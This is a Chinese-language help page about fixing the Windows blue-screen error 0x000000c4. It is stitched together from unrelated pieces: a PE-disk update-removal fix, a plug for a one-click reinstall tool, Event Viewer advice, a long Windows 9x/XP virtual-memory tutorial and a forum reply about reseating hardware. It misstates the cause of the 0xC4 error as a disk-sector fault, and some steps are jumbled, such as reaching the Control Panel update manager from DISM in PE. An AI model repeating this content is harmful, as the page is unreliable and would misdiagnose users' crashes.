1、出现该蓝屏错误的原因是磁盘驱动器找不到指定的扇区或磁道,该错误一般是由错误系统更新导致,所以我们可以提供使用PE系统来删除出错的系统更新补丁来解决这个蓝屏问题。

2、进入u盘启动盘的PE系统之后找到dism,选择你的win7系统;随后依次打开控制面板-更新管理,找到最后一天更新的补丁,将补丁删除,再重启电脑即可进入系统。如果没有u盘启动盘,可以使用小白一键重装系统进行制作。

电脑玩着玩着就蓝屏了,蓝屏显示代码电脑蓝屏0x000000c4,怎么解决?下面是学习啦小编为大家整理的关于电脑蓝屏0x000000c4的相关资料。

扩展资料:

检查:

在开始-->;运行中输入:EventVwr.msc ,回车出现“查看器”,注意检查其中的“系统日志”和“应用程序日志”中表明“错误”的项。

把蓝屏中密密麻麻的英文记下来,接着到其他电脑中上网,进入微软帮助与支持网站在左上角的“搜索(知识库)”中输入停机码。

如果,搜索结果没有适合信息,可以选择“英文知识库”再搜索一遍。一般情况下,会在这里找到有用的解决案例。另外,在百度、Google等搜索引擎中使用蓝屏的停机码或者后面的说明文字为关键词搜索,往往也会有收获。

一般情况下,蓝屏都是在硬件驱动或新加硬件并安装驱动后,出现冲突或不兼容的情况,这时Windows提供的“最后一次正确配置”就是解决蓝屏的快捷方式。

百度百科-电脑蓝屏

新装的电脑重启蓝屏

内存在计算机中的作用很大,电脑中所有运行的程序都需要经过内存来执行,如果执行的程序很大或很多,就会导致内存消耗殆尽。为了解决这个问题,Windows中运用了虚拟内存技术,即拿出一部分硬盘空间来充当内存使用,当内存占用完时,电脑就会自动调用硬盘来充当内存,以缓解内存的紧张。举一个例子来说,如果电脑只有128MB物理内存的话,当读取一个容量为200MB的文件时,就必须要用到比较大的虚拟内存,文件被内存读取之后就会先储存到虚拟内存,等待内存把文件全部储存到虚拟内存之后,跟着就会把虚拟内里储存的文件释放到原来的安装目录里了。下面,就让我们一起来看看如何对虚拟内存进行设置吧。

虚拟内存的设置

对于虚拟内存主要设置两点,即内存大小和分页位置,内存大小就是设置虚拟内存最小为多少和最大为多少;而分页位置则是设置虚拟内存应使用那个分区中的硬盘空间。对于内存大小的设置,如何得到最小值和最大值呢?你可以通过下面的方法获得:选择“开始→程序→附件→系统工具→系统监视器”(如果系统工具中没有,可以通过“添加/删除程序”中的Windows安装程序进行安装)打开系统监视器,然后选择“编辑→添加项目”,在“类型”项中选择“内存管理程序”,在右侧的列表选择“交换文件大小”。这样随着你的操作,会显示出交换文件值的波动情况,你可以把经常要使用到的程序打开,然后对它们进行使用,这时查看一下系统监视器中的表现值,由于用户每次使用电脑时的情况都不尽相同,因此,最好能够通过较长时间对交换文件进行监视来找出最符合您的交换文件的数值,这样才能保证系统性能稳定以及保持在最佳的状态。

找出最合适的范围值后,在设置虚拟内存时,用鼠标右键点击“我的电脑”,选择“属性”,弹出系统属性窗口,选择“性能”标签,点击下面“虚拟内存”按钮,弹出虚拟内存设置窗口,点击“用户自己指定虚拟内存设置”单选按钮,“硬盘”选较大剩余空间的分区,然后在“最小值”和“最大值”文本框中输入合适的范围值。如果您感觉使用系统监视器来获得最大和最小值有些麻烦的话,这里完全可以选择“让Windows管理虚拟内存设置”。

调整分页位置

Windows 9x的虚拟内存分页位置,其实就是保存在C盘根目录下的一个虚拟内存文件(也称为交换文件)Win386.swp,它的存放位置可以是任何一个分区,如果系统盘C容量有限,我们可以把Win386.swp调到别的分区中,方法是在记事本中打开System.ini(C:\Windows下)文件,在[386Enh]小节中,将“PagingDrive=C:WindowsWin386.swp”,改为其他分区的路径,如将交换文件放在D:中,则改为“PagingDrive=D:Win386.swp”,如没有上述语句可以直接键入即可。

而对于使用Windows 2000和Windows XP的,可以选择“控制面板→系统→高级→性能”中的“设置→高级→更改”,打开虚拟内存设置窗口,在驱动器[卷标]中默认选择的是系统所在的分区,如果想更改到其他分区中,首先要把原先的分区设置为无分页文件,然后再选择其他分区。

或者,WinXP一般要求物理内存在256M以上。如果你喜欢玩大型3D游戏,而内存(包括显存)又不够大,系统会经常提示说虚拟内存不够,系统会自动调整(虚拟内存设置为系统管理)。

如果你的硬盘空间够大,你也可以自己设置虚拟内存,具体步骤如下:右键单击“我的电脑”→属性→高级→性能 设置→高级→虚拟内存 更改→选择虚拟内存(页面文件)存放的分区→自定义大小→确定最大值和最小值→设置。一般来说,虚拟内存为物理内存的1.5倍,稍大一点也可以,如果你不想虚拟内存频繁改动,可以将最大值和最小值设置为一样。

44》虚拟内存使用技巧

对于虚拟内存如何设置的问题,微软已经给我们提供了官方的解决办法,对于一般情况下,我们推荐用如下的设置方法:

(1)在Windows系统所在分区设置页面文件,文件的大小由你对系统的设置决定。具体设置方法如下:打开"我的电脑"的"属性"设置窗口,切换到"高级"选项卡,在"启动和故障恢复"窗口的"写入调试信息"栏,如果你用的是"无",则将页面文件大小设置为2MB左右,如果用"核心内存存储"和"完全内存存储",则将页面文件值设置得大一些,跟物理内存差不多就可以了。

小提示:对于系统分区是否设置页面文件,这里有一个矛盾:如果设置,则系统有可能会频繁读取这部分页面文件,从而加大系统盘所在磁道的负荷,但如果不设置,当系统出现蓝屏死机(特别是STOP错误)的时候,无法创建转储文件 (Memory.dmp),从而无法进行程序调试和错误报告了。所以折中的办法是在系统盘设置较小的页面文件,只要够用就行了。

(2)单独建立一个空白分区,在该分区设置虚拟内存,其最小值设置为物理内存的1.5倍,最大值设置为物理内存的3倍,该分区专门用来存储页面文件,不要再存放其它任何文件。之所以单独划分一个分区用来设置虚拟内存,主要是基于两点考虑:其一,由于该分区上没有其它文件,这样分区不会产生磁盘碎片,这样能保证页面文件的数据读写不受磁盘碎片的干扰;其二,按照Windows对内存的管理技术,Windows会优先使用不经常访问的分区上的

页面文件,这样也减少了读取系统盘里的页面文件的机会,减轻了系统盘的压力。

(3)其它硬盘分区不设置任何页面文件。当然,如果你有多个硬盘,则可以为每个硬盘都创建一个页面文件。当信息分布在多个页面文件上时,硬盘控制器可以同时在多个硬盘上执行读取和写入操作。这样系统性能将得到提高。

小提示:

允许设置的虚拟内存最小值为2MB,最大值不能超过当前硬盘的剩余空间值,同时也不能超过32位操作系统的内存寻址范围——4GB。

硬件方面问题

建议从新插拨下主版周围的硬件或者更换内存插口.

然后放电,让BIOS还原的原厂设置.

如果以上还不能解决问题

请把蓝屏的代码给我(比如stop:0x000000xx)

我再分析一下